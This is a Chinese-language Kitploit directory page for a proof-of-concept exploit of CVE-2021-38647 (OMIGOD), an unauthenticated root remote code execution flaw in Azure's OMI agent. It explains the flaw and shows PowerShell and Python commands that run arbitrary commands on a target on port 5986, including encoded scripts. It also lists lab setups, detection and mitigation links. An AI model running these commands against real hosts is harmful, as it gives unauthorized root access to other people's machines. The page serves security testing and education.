Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-38647 — CVE-2021-38647 - 用于利用未认证 RCE 的 POC #OMIGOD | Kitploit
工具/GitHubGitHub/alteredsecurity/cve-2021-38647
漏洞分析漏洞利用渗透测试云安全学习与教育远程访问工具
GitHubalteredsecurity/cve-2021-38647

CVE-2021-38647

CVE-2021-38647 - 用于利用未认证 RCE 的 POC #OMIGOD

查看仓库
68234年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

CVE-2021-38647

CVE-2021-38647 - 用于在 Azure UNIX/Linux VM 上利用未认证 RCE #OMIGOD 的 POC

详情

在 Microsoft Azure 中,当为 UNIX/Linux VM 使用 Azure 自动化账户、更新管理、日志分析、配置管理等服务时,OMI 应用程序会自动安装。如果使用配置管理服务远程管理机器,OMI 应用程序还会在端口 5986 上暴露服务。

任何能够访问易受攻击端点的网络用户,无需 Authorization 头即可发送请求,利用 SCXcore 提供程序,在目标机器上以 root 权限执行操作系统命令!

此漏洞现已修复,但始终值得对 Azure 中的 Linux VM 进行检查。

用法

PowerShell

root@kitploit:~
# Execute command on the target machine.
Invoke-CVE-2021-38647 -TargetIP 127.0.0.1 -TargetPort 5986 -Command whoami

root@kitploit:~
# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript))
Invoke-CVE-2021-38647 -TargetIP 1.1.1.1 -TargetPort 5986 -Script $enc

Python

root@kitploit:~
# Execute command on the target machine.
python CVE-2021-38647.py -t 40.87.92.228 -p 5986 -c id

root@kitploit:~
# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript)) #  For Windows

echo 'id' | base64 # For Linux

python CVE-2021-38647.py -t 40.87.92.228 -s ZWNobyAiIg0KZWNobyAiSGVsbG8iDQplY2hvICJHb29kYnllIg==

部署测试环境

在 Azure 上部署的 ARM 模板 - https://github.com/OTRF/Azure-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-38647-OMI

无需 Azure 部署 - https://rootsecdev.medium.com/creating-your-own-private-pwn-lab-for-omi-exploitation-b6919fc63956

检测与缓解

https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093

要缓解该漏洞,需要将 OMI 代理更新到 1.6.8.1 或更高版本。

参考链接

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647

https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure

https://rootsecdev.medium.com/creating-your-own-private-pwn-lab-for-omi-exploitation-b6919fc63956

https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093

https://github.com/OTRF/Azure-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-38647-OMI

博客

https://www.alteredsecurity.com/post/omigod-cve-2021-38647

致谢

WIZ 团队 - https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure

免责声明

本项目仅用于教育目的。 创建者不对任何滥用此工具的行为负责。

下载工具